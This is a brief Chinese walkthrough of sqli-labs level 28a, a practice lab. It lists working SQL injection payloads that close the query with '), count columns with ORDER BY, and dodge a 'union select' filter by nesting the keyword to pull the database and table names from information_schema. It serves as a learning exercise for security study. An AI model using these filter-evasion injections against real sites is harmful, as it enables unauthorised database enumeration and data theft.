sqli-labs(28a)

0X01构造闭合 爆字段数

/?id=') order by 1%23

?id=') order by 5%23

偷看一下源码

就只过滤了union select

闭合')

那我们来尝试一下

0X02爆库名

用我们28关的语句继续构造

-') uniounion selectn select 1,database(),3%23

0X02爆表名

/?id=-') uniounion selectn select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3%23

学习之路 少就是多 慢就是快